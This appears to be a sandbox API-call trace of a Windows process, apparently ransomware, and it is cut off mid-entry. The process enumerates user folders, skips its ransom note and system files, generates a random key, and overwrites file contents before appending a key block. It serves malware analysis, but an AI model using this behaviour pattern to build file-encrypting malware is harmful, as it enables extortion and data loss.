[0086.164] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\.") returned 34 [0086.164] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b0cdbd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0cdbd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0086.164] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\..") returned 35 [0086.164] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.164] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini") returned 44 [0086.165] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0086.165] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0086.165] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0086.165] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0086.165] CloseHandle (hObject=0x908) returned 1 [0086.165] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0cdbd0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b0cdbd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0cdbd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0086.165] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\read_me.txt") returned 44 [0086.165] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\read_me.txt" (normalized: "c:\\users\\default\\saved games\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0086.165] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0086.165] CloseHandle (hObject=0x908) returned 1 [0086.165] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0cdbd0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b0cdbd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0cdbd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0086.165] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0086.165] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\read_me.txt") returned 44 [0086.166] GetProcessHeap () returned 0x540000 [0086.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0086.166] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 98 [0086.166] GetProcessHeap () returned 0x540000 [0086.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4302138 | out: hHeap=0x540000) returned 1 [0086.166] GetProcessHeap () returned 0x540000 [0086.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0086.167] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\*") returned 31 [0086.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b0f3d30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0f3d30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0086.167] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\.") returned 31 [0086.167] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b0f3d30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0f3d30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0086.167] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\..") returned 32 [0086.167] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.167] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini") returned 41 [0086.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0086.167] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0086.167] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0086.167] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0086.167] CloseHandle (hObject=0x908) returned 1 [0086.168] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0086.168] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\Everywhere.search-ms") returned 50 [0086.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.178] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0086.178] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned 57 [0086.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.178] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0f3d30, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b0f3d30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0f3d30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0086.178] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\read_me.txt") returned 41 [0086.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\read_me.txt" (normalized: "c:\\users\\default\\searches\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0086.178] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0086.178] CloseHandle (hObject=0x910) returned 1 [0086.178] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0f3d30, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b0f3d30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0f3d30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0086.178] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0086.179] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\read_me.txt") returned 41 [0086.179] GetProcessHeap () returned 0x540000 [0086.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4340048 | out: hHeap=0x540000) returned 1 [0086.179] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 99 [0086.179] GetProcessHeap () returned 0x540000 [0086.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42220c8 | out: hHeap=0x540000) returned 1 [0086.183] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.183] ReadFile (in: hFile=0x914, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.183] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.183] GetProcessHeap () returned 0x540000 [0086.183] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.183] GetProcessHeap () returned 0x540000 [0086.183] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.183] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.183] GetProcessHeap () returned 0x540000 [0086.183] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.183] ReadFile (in: hFile=0x914, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.185] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.186] WriteFile (in: hFile=0x914, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.186] GetProcessHeap () returned 0x540000 [0086.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.187] GetProcessHeap () returned 0x540000 [0086.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.187] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.188] GetProcessHeap () returned 0x540000 [0086.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.188] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.189] GetProcessHeap () returned 0x540000 [0086.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.190] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.190] WriteFile (in: hFile=0x914, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.190] WriteFile (in: hFile=0x914, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.190] GetProcessHeap () returned 0x540000 [0086.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 